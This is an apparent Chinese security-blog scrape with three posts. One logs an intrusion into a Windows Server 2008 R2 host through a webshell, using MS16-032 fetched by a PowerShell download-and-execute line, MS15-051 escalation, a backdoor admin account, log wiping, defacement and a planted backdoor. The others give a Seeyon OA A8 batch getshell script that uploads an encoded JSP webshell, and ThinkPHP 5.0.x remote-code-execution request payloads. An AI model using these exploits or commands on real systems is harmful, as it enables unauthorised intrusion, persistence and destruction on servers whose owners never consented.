下面就换一个方式,使用EXP来打...在不知道补丁情况下我就用N多个匹配目标系统的EXP来尝试...

好在最后通过缩小目标范围成功提权,下面是一些本次Windows Server 2008 R2 Enterprise的EXP提权测试记录。



D:\www\xxxxxxxx.com\about> tasklist

映像名称                       PID 会话名              会话#       内存使用 

========================= ======== ================ =========== ============

System Idle Process              0                            0         24 K

System                           4                            0        364 K

smss.exe                       452                            0      2,192 K

csrss.exe                      536                            0     15,284 K

csrss.exe                      588                            1      8,256 K

wininit.exe                    596                            0      6,940 K

services.exe                   640                            0     13,340 K

lsass.exe                      648                            0     70,872 K

lsm.exe                        656                            0      9,144 K

winlogon.exe                   712                            1      7,936 K

svchost.exe                    796                            0     15,388 K

svchost.exe                    876                            0     16,156 K

LogonUI.exe                    964                            1     17,688 K

svchost.exe                    972                            0     16,988 K

spoolsv.exe                   1136                            0     20,572 K

svchost.exe                   1172                            0     12,644 K

svchost.exe                   1196                            0     18,556 K

inetinfo.exe                  1224                            0     30,140 K

mysqld.exe                    1432                            0    223,128 K

svchost.exe                   1484                            0     14,536 K

svchost.exe                   1524                            0      4,880 K

svchost.exe                   1564                            0     37,440 K

svchost.exe                   2500                            0     15,892 K

svchost.exe                  17884                            0      6,736 K

msdtc.exe                    17932                            0      9,852 K

csrss.exe                    20892                            2     14,512 K

winlogon.exe                 31176                            2     10,096 K

taskhost.exe                 37920                            2      8,888 K

rdpclip.exe                  32664                            2     10,204 K

dwm.exe                      20120                            2      6,828 K

explorer.exe                 39432                            2    120,864 K

LocoyPlatform.exe            38208                            2    285,120 K

wlrmdr.exe                   67128                            2      6,196 K

w3wp.exe                     51948                            0     18,636 K

w3wp.exe                      4956                            0     18,224 K

w3wp.exe                     13988                            0     18,508 K

dllhost.exe                  27880                            0      6,596 K

wsmprovhost.exe              35776                            0      7,536 K

w3wp.exe                     56336                            0     17,804 K

php-cgi.exe                  47428                            0     25,352 K

php-cgi.exe                  10924                            0     25,820 K

w3wp.exe                     57064                            0     17,508 K

php-cgi.exe                  25912                            0     25,296 K

w3wp.exe                     16252                            0     17,516 K

php-cgi.exe                  28464                            0     25,252 K

php-cgi.exe                  59852                            0     25,196 K

w3wp.exe                     68792                            0     17,700 K

php-cgi.exe                  65204                            0     23,368 K

w3wp.exe                     49940                            0     17,360 K

cmd.exe                      40808                            0      4,780 K

conhost.exe                  48340                            0      4,892 K

cmd.exe                      68144                            0      4,728 K

tasklist.exe                 26436                            0      7,352 K

 

在进程里没有发现杀软,虽然shell是免杀得...没有最方便啦!这也印证了开始传shell的猜想。

 

查看用户和所在用户的权限:

D:\www\xxxxxxxx.com\about> net user

\ 的用户帐户

-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



D:\www\xxxxxxxx.com\about> whoami /priv

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用



看到有SeImpersonatePrivilege  权限,期间还是用过MSF的incognito模块来进行会话令牌冒用,均已失败告终。



查看是否存在域环境,准备找其他域内机器攻克,但是结果是单域。

D:\www\xxxxxxxx.com\about> net user /domain

这项请求将在域 WORKGROUP 的域控制器处理。

发生系统错误 1355。

指定的域不存在,或无法联系。

 

D:\www\xxxxxxxx.com\about> whoami /all

用户信息

----------------

用户名            SID     

================= ========

nt authority\iusr S-1-5-17

组信息

-----------------

组名                                 类型   SID          属性                          

==================================== ====== ============ ==============================

Mandatory Label\High Mandatory Level 标签   S-1-16-12288                               

Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组

BUILTIN\Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组

NT AUTHORITY\SERVICE                 已知组 S-1-5-6      只用于拒绝的组                

控制台登录                           已知组 S-1-2-1      必需的组, 启用于默认, 启用的组

NT AUTHORITY\Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组

NT AUTHORITY\This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组

LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组

特权信息

----------------------

特权名                  描述                 状态  

======================= ==================== ======

SeChangeNotifyPrivilege 绕过遍历检查         已启用

SeImpersonatePrivilege  身份验证后模拟客户端 已启用

SeCreateGlobalPrivilege 创建全局对象         已启用

 

查看具有管理权限的账户列表:

D:\www\xxxxxxxx.com\about> net localgroup administrators

别名     administrators

注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------

Administrator

命令成功完成。

 

查看网卡配置:

D:\www\xxxxxxxx.com\about> ipconfig /all

Windows IP 配置

   主机名  . . . . . . . . . . . . . : WIN-xxxxxxxxxxx

   主 DNS 后缀 . . . . . . . . . . . : 

   节点类型  . . . . . . . . . . . . : 混合

   IP 路由已启用 . . . . . . . . . . : 否

   WINS 代理已启用 . . . . . . . . . : 否

以太网适配器 本地连接 2:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection #2

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CB

   DHCP 已启用 . . . . . . . . . . . : 是

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:887d%13(首选) 

   自动配置 IPv4 地址  . . . . . . . : 169.254.136.125(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.0.0

   默认网关. . . . . . . . . . . . . : 

   DHCPv6 IAID . . . . . . . . . . . : 301999504

   DHCPv6 客户端 DUID  . . . . . . . : 00-01-00-01-24-A2-67-59-xx-xx-xx-xx-xx-CA

   DNS 服务器  . . . . . . . . . . . : fec0:0:0:ffff::1%1

                                       fec0:0:0:ffff::2%1

                                       fec0:0:0:ffff::3%1

   TCPIP 上的 NetBIOS  . . . . . . . : 已启用

以太网适配器 本地连接:

   连接特定的 DNS 后缀 . . . . . . . : 

   描述. . . . . . . . . . . . . . . : Intel(R) I350 Gigabit Network Connection

   物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-CA

   DHCP 已启用 . . . . . . . . . . . : 否

   自动配置已启用. . . . . . . . . . : 是

   本地链接 IPv6 地址. . . . . . . . : fe80::xxx:xxx:xxx:ef33%11(首选) 

   IPv4 地址 . . . . . . . . . . . . : x.x.x.25(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.130(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.131(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.132(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.133(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.134(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   IPv4 地址 . . . . . . . . . . . . : x.x.x.135(首选) 

   子网掩码  . . . . . . . . . . . . : 255.255.255.192

   

查看arp配置:

D:\www\xxxxxxxx.com\about> arp -a

???: x.x.x.25 --- 0xb

  Internet ???         ???????              ????

  x.x.x.24           00-25-90-88-a5-b2     ???        

  x.x.x.60           44-4c-a8-81-12-08     ???        

  x.x.x.61           44-4c-a8-80-e1-21     ???        

  x.x.x.62           00-1c-73-00-00-02     ???        

  x.x.x.63           ff-ff-ff-ff-ff-ff     ???        

  x.x.x.191          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.127          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.63          ff-ff-ff-ff-ff-ff     ???        

  x.x.x.255        ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

???: 169.254.136.125 --- 0xd

  Internet ???         ???????              ????

  169.254.255.255       ff-ff-ff-ff-ff-ff     ???        

  224.0.0.22            01-00-5e-00-00-16     ???        

  224.0.0.252           01-00-5e-00-00-fc     ???        

  255.255.255.255       ff-ff-ff-ff-ff-ff     ???        





在shell的虚拟终端中执行systeminfo结果如下:



D:\www\xxxxxxxx.com\about> systeminfo

主机名:           WIN-xxxxxxxx

OS 名称:          Microsoft Windows Server 2008 R2 Enterprise 

OS 版本:          6.1.7601 Service Pack 1 Build 7601

OS 制造商:        Microsoft Corporation

OS 配置:          独立服务器

OS 构件类型:      Multiprocessor Free

注册的所有人:     Windows 用户

注册的组织:       

产品 ID:          00486-OEM-8400691-20006

初始安装日期:     2019/5/26, 14:13:48

系统启动时间:     2019/8/18, 17:17:23

系统制造商:       Supermicro

系统型号:         X9DRD-iF

系统类型:         x64-based PC

处理器:           安装了 2 个处理器。

                  [01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

                  [02]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~1180 Mhz

BIOS 版本:        American Megatrends Inc. 1.0b, 2012/10/5

Windows 目录:     C:\Windows

系统目录:         C:\Windows\system32

启动设备:         \Device\HarddiskVolume1

系统区域设置:     zh-cn;中文(中国)

输入法区域设置:   zh-cn;中文(中国)

时区:             (UTC+08:00)北京,重庆,香港特别行政区,乌鲁木齐

物理内存总量:     32,735 MB

可用的物理内存:   25,878 MB

虚拟内存: 最大值: 65,469 MB

虚拟内存: 可用:   39,898 MB

虚拟内存: 使用中: 25,571 MB

页面文件位置:     C:\pagefile.sys

域:               WORKGROUP

登录服务器:       暂缺

修补程序:         暂缺

网卡:             安装了 2 个 NIC。

                  [01]: Intel(R) I350 Gigabit Network Connection

                      连接名:      本地连接

                      启用 DHCP:   否

                      IP 地址

                        [01]: x.x.x.x

                        .........N......

                        

出现修补程序状态为暂缺的情况下一般是shell的权限不够,后来登录后执行systeminfo的结果印证:



修补程序:         安装了 2 个修补程序。

                  [01]: KB2999xxx

                  [02]: KB976xxx

那就只有使用cmd命令来猜测是否打了一些常见的本地提权补丁


systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt  




D:\www\xxxxxxxxxxx.com\about> systeminfo>temp.txt&(for %i in (KB952004 KB970483 KB977165 KB2160329 KB2503665 KB2592799 KB2707511 KB2829361 KB2850851 KB3000061 KB3011780 KB3036220 KB3045171 KB3077657 KB3079904 KB3134228 KB3143141 KB3124280 KB3141780 KB4013389) do @type temp.txt|@find /i  "%i"|| @echo %i Not Installed!)&del /f /q /a temp.txt
KB952004 Not Installed!  
KB970483 Not Installed!  
KB977165 Not Installed!  
KB2160329 Not Installed!  
KB2503665 Not Installed!  
KB2592799 Not Installed!  
KB2707511 Not Installed!  
KB2829361 Not Installed!  
KB2850851 Not Installed!  
KB3000061 Not Installed!  
KB3011780 Not Installed!  
KB3036220 Not Installed!  
KB3045171 Not Installed!  
KB3077657 Not Installed!  
KB3079904 Not Installed!  
KB3134228 Not Installed!  
KB3143141 Not Installed!  
KB3124280 Not Installed!  
KB3141780 Not Installed!  
KB4013389 Not Installed! 

 



MS16-032 windows本地提权

补丁编号: KB3124280

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c net user evi1cg test!@#123 /add'" >>1.log





根据1.log记录,宣告失败:

                

    |  V  |  |  | |  _||   |  |  |

    |     |
  || || . || | |  |  |

    |
|||__|
||   ||||

                                        

                   [by b33f -> @FuzzySec]



[?] Operating system core count: 24

[>] Duplicating CreateProcessWithLogonW handles..

[!] No valid thread handles were captured, exiting!



ATM 字体驱动程序中的漏洞可能允许特权提升

漏洞代号: MS15-077

补丁编号: KB3077657

exp 用途: 字体提权

适应平台: 可能该exp 32位系统好使,64位均未成功



D:\www\xxxxxxxxxxx.com\about> elevator.exe

HT Windows Font Exploit modify by skyer

Usage: exp.exe "net user t00ls t00ls /ad"



D:\www\xxxxxxxxxxx.com\about> elevator.exe "net user helps helps@!#me /add"

D:\www\xxxxxxxxxxx.com\about> net user

\ 的用户帐户

-------------------------------------------------------------------------------

Administrator            APP_IWAM_9624056         Guest                    

MYSQL_USER               PhpMyAdmin_USER          

命令运行完毕,但发生一个或多个错误。



宣告失败!



Windows内核模式驱动CVE-2015-1680信息泄露漏洞

漏洞代号: MS15-051

补丁编号: KB3045171

exp 用途: 本地提权

适应平台: 08 以后的系统基本都可以,成功率较高,菜刀直接可用



D:\www\xxxxxxxxxx.com\about> ms15-051.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 



这里受到 在mysql提权时的影响,把系统当成了32位,忘了上面通过systeminfo得到的系统架构信息是X64位

D:\www\xxxxxxxxxx.com\about> ms15-051.exe whoami

[#] ms15-051 fixed by zcgonvh

[x] please re-compiler this program via x64 platform 



换用 ms15-051x64成功

Snipaste_2019-10-02_17-53-36.png

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe

[#] ms15-051 fixed by zcgonvh

[#] usage: ms15-051 command 

[#] eg: ms15-051 "whoami /all" 

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19140 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> whoami

nt authority\iusr

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe whoami

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19644 created.

==============================

nt authority\system

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP help@!#me123 /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 25540 created.

==============================

密码不满足密码策略的要求。检查最小密码长度、密码复杂性和密码历史的要求。

请键入 NET HELPMSG 2245 以获得更多的帮助。

 

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP HELP@!#me123@@@ /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 19788 created.

==============================

输入的密码超过了 14 个字符。安装了 Windows 2000 

以前的 Windows 版本的计算机将不能使用

此帐户。您想继续进行操作吗? (Y/N) [Y]: 

没有提供有效的响应。



这个时候尝试了使用空密码,的确是可以创建并且加入管理员组:

D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22168 created.

==============================

命令成功完成。



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net localgroup Administrators HELP /add"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 22040 created.

==============================

命令成功完成。



这个时候准备登录:需要知道远程桌面端口,于是使用读取注册表的16进制值来获得:

在命令行下执行:  



REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber



返回:  



PortNumber    REG_DWORD    0x4cfe  



随后拿出来 0x4cfe ,转换成10进制,Windows下可以用计算器的程序员模式,

选择HEX输入 4cfe 即可得到10进制的端口号19710



但是登录的时候提示由于策略原因禁止空密码登录,稍微新一点系统都是禁止空密码登录的。



这时候当然去找google搜索是最快的阿!



最终成功设置了一个符合策略要求的密码:



D:\www\xxxxxxxxxx.com\about> ms15-051x64.exe "net user HELP 123789456=love"

[#] ms15-051 fixed by zcgonvh

[!] process with pid: 13012 created.

==============================

命令成功完成。

Snipaste_2019-10-02_18-10-00.png

加入管理员组:

Snipaste_2019-10-02_18-10-46.png

还有一种策略就是激活Guest帐户,但是我又担心策略组禁止Guest帐户登录就白忙活了,可自行尝试!



然后使用的密码成功登录,进去清理掉日志,痕迹,打扫战场,深藏功与名!哈哈哈

Snipaste_2019-10-02_18-19-33.png

不可能阿,这个系统里面全是非法彩票网站,最终跳转导向到菠菜!那咋办呢?盘他!必须安排!



先把所有网站的首页文件全部替换成公益404页面,美滋滋!

再留一个面杀后门修改系统进程加上参数后自动将后门注入系统进程,同时禁止安装任何杀软!除非它重装系统!



收工,休息下继续下一波非法网站搜集!

需要练习技能的朋友可以批量采集非法网站作为练习对象!正规网站需要取得授权才能测试!

切忌装逼!保护好自己!

禁止挂黑页的傻屌行为!

全程远程堡垒机操作,全程VPN!

最简单的就是随便找一家服务商开一台机器,VPN连上去,搞完销废机器!



参考:

https://github.com/SecWiki/windows-kernel-exploits

https://www.eviloctal.com/archiver/tid-25278.html

https://klionsec.github.io/2017/04/22/win-0day-privilege/

https://xz.aliyun.com/t/2199

admin 发布于  2019-10-13 11:30 

seeyon_rce致远getshell 0day poc批量检测脚本——致远 OA A8 Getshell 漏洞 业界新闻

致远 OA A8 Getshell .png

本文主要是对于昨日大概晚间八点左右在网上出现的关于致远 OA A8 协同管理软件被曝存在远程代码执行漏洞0day,且目前已有漏洞被在野利用,在中、大型政府企业中都广泛使用。文末给出致远getshell 0day poc批量检测脚本(python版本)

已验证影响版本:

A8 V7.0 SP3

A8 V6.1 SP2

(V6.1 SP1 验证尚不存在,其他版本未验证)

漏洞成因:

致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell。同时该系统的漏洞点在于致远OA-A8系统的Servlet接口暴露,安全过滤处理措施不足,使得用户在无需认证的情况下实现任意文件上传。攻击者利用该漏洞,可在未授权的情况下,远程发送精心构造的网站后门文件,从而获取目标服务器权限,在目标服务器上执行任意代码。

影响范围:

通过知道创宇旗下ZoomEye网络空间搜索引擎搜索结果,全球共有29,425个致远OA系统开放记录,中国为29,247个大部分分布在北京、广东、四川等省。

目前利用代码已在野外公开,漏洞验证效果如下,成功getshell样例截图:

成功getshell.png  

缓解措施:

漏洞位置为:/seeyon/htmlofficeservlet,可以对该地址配置ACL规则。

或者联系官方获取补丁程序,官网地址:http://www.seeyon.com/Info/constant.html

临时修补方案如下:

1、 配置URL访问控制策略;

2、在公网部署的致远A8+服务器,通过ACL禁止外网对“/seeyon/htmlofficeservlet”路径的访问;

3、 对OA服务器上的网站后门文件进行及时查杀。

附上验证POC,致远getshell 0day poc批量检测脚本如下:

使用方法:

批量检测url

在脚本同目录下建立url.txt

放入待检测的URL运行脚本

分别为python2和python3版本:

# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python2 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(unichr, range(0,32) + range(127,160)))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print queue.get()

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()


# Wednesday, 26 June 2019
# Author:nianhua
# Blog:https://github.com/nian-hua/
# python3 版本

import re
import requests
import base64
from multiprocessing import Pool, Manager

def send_payload(url):

    headers = {'Content-Type': 'application/x-www-form-urlencoded'}

    payload = "REJTVEVQIFYzLjAgICAgIDM1NSAgICAgICAgICAgICAwICAgICAgICAgICAgICAgNjY2ICAgICAgICAgICAgIERCU1RFUD1PS01MbEtsVg0KT1BUSU9OPVMzV1lPU1dMQlNHcg0KY3VycmVudFVzZXJJZD16VUNUd2lnc3ppQ0FQTGVzdzRnc3c0b0V3VjY2DQpDUkVBVEVEQVRFPXdVZ2hQQjNzekIzWHdnNjYNClJFQ09SRElEPXFMU0d3NFNYekxlR3c0VjN3VXczelVvWHdpZDYNCm9yaWdpbmFsRmlsZUlkPXdWNjYNCm9yaWdpbmFsQ3JlYXRlRGF0ZT13VWdoUEIzc3pCM1h3ZzY2DQpGSUxFTkFNRT1xZlRkcWZUZHFmVGRWYXhKZUFKUUJSbDNkRXhReVlPZE5BbGZlYXhzZEdoaXlZbFRjQVRkTjFsaU40S1h3aVZHemZUMmRFZzYNCm5lZWRSZWFkRmlsZT15UldaZEFTNg0Kb3JpZ2luYWxDcmVhdGVEYXRlPXdMU0dQNG9FekxLQXo0PWl6PTY2DQo8JUAgcGFnZSBsYW5ndWFnZT0iamF2YSIgaW1wb3J0PSJqYXZhLnV0aWwuKixqYXZhLmlvLioiIHBhZ2VFbmNvZGluZz0iVVRGLTgiJT48JSFwdWJsaWMgc3RhdGljIFN0cmluZyBleGN1dGVDbWQoU3RyaW5nIGMpIHtTdHJpbmdCdWlsZGVyIGxpbmUgPSBuZXcgU3RyaW5nQnVpbGRlcigpO3RyeSB7UHJvY2VzcyBwcm8gPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGMpO0J1ZmZlcmVkUmVhZGVyIGJ1ZiA9IG5ldyBCdWZmZXJlZFJlYWRlcihuZXcgSW5wdXRTdHJlYW1SZWFkZXIocHJvLmdldElucHV0U3RyZWFtKCkpKTtTdHJpbmcgdGVtcCA9IG51bGw7d2hpbGUgKCh0ZW1wID0gYnVmLnJlYWRMaW5lKCkpICE9IG51bGwpIHtsaW5lLmFwcGVuZCh0ZW1wKyJcbiIpO31idWYuY2xvc2UoKTt9IGNhdGNoIChFeGNlcHRpb24gZSkge2xpbmUuYXBwZW5kKGUuZ2V0TWVzc2FnZSgpKTt9cmV0dXJuIGxpbmUudG9TdHJpbmcoKTt9ICU+PCVpZigiYXNhc2QzMzQ0NSIuZXF1YWxzKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwd2QiKSkmJiEiIi5lcXVhbHMocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSl7b3V0LnByaW50bG4oIjxwcmU+IitleGN1dGVDbWQocmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpKSArICI8L3ByZT4iKTt9ZWxzZXtvdXQucHJpbnRsbigiOi0pIik7fSU+NmU0ZjA0NWQ0Yjg1MDZiZjQ5MmFkYTdlMzM5MGQ3Y2U="

    payload = base64.b64decode(payload)

    try:

        r = requests.post(url + '/seeyon/htmlofficeservlet', data=payload)

        r = requests.get(
            url + '/seeyon/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+echo+wangming')

        if "wangming" in r.text:

            return url

        else:

            return 0

    except:

        return 0

def remove_control_chars(s):
    control_chars = ''.join(map(chr, list(range(0,32)) + list(range(127,160))))

    control_char_re = re.compile('[%s]' % re.escape(control_chars))

    s = control_char_re.sub('', s)

    if 'http' not in s:

        s = 'http://' + s

    return s

def savePeopleInformation(url, queue):

    newurl = send_payload(url)

    if newurl != 0:

        fw = open('loophole.txt', 'a')
        fw.write(newurl + '\n')
        fw.close()

    queue.put(url)

def main():

    pool = Pool(10)

    queue = Manager().Queue()

    fr = open('url.txt', 'r')

    lines = fr.readlines()

    for i in lines:

        url = remove_control_chars(i)

        pool.apply_async(savePeopleInformation, args=(url, queue,))

    allnum = len(lines)

    num = 0

    while True:

        print(queue.get())

        num += 1

        if num >= allnum:

            fr.close()

            break

if "__main__" == __name__:

    main()

admin 发布于  2019-6-27 20:19 

某站禁用各种函数情况下的 Thinkphp5.x 绕过 Getshell 渗透测试

1.png



ThinkPHP 的站,且存在 ThinkPHP 5.0.x 远程命令执行漏洞,并且开了 debug 模式,但是⽬标用的是ThinkPHP5.0.20,⼀开始⽤网络上的 poc 打怎么都不成功。

第一个问题是,目标 PHP 禁⽤了命令执行的函数,比如执行 system 提示 disabled:

2.png

不过看起来文件函数没有禁用,⽐如 file_get_contents 没有报 disabled:

3.png

但是还有第⼆个问题,就是 tp 5.0.20 和 5.0.23 版本的代码有点区别,⽤网络上流传的 poc 打过去,始终提示要执行的函数参数为 null。

所以我又本地搭了 5.0.20 版本的 tp 进行调试,最后发现 poc 改成下 ⾯这样就可以成功利用:

POST /public/index.php?s=captcha HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 81aaa=id&_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=POST



点击查看原图  

  或者这样:

POST /public/index.php?s=captcha&aaa=id HTTP/1.1
Host: 192.168.66.12
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0)Gecko/20100101 Firefox/64.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,en-US;q=0.8,en;q=0.5,zh-SG;q=0.3
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 73_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=xxx



 5.png   

ok,本地测试是成功了,再回到目标站,由于目标站似乎对一些命令执行的函数有禁用,再加上这个 tp这个漏洞: 



1.函数执行结果不会直接回显



2.限制了函数执行参数只能为一个 导致⼀开始一直卡壳。



后来想了想,由于前⾯测试从 debug 信息来看,好像没有禁⽌文件操作的函数,再加上 tp 本身就有用到文件读写的操作,所以⽂件读写操作肯定是能用的。



file_get_contents 函数可以执行,但这里不会输出函数执行的结果, file_put_contents 函数⼜要两个参数,include 又不是函数⽽没法在这里调用,所以感觉还是得先从 tp 框架里找现成的危险操作函数来⽤。



于是找到 __include_file :



6.png
 

__include_file 是在漏洞点可以直接调用的函数,⽽且封装了文件包含操作,所以能⽤它去读⽬标服务器上的⽂件了:



7.png
 

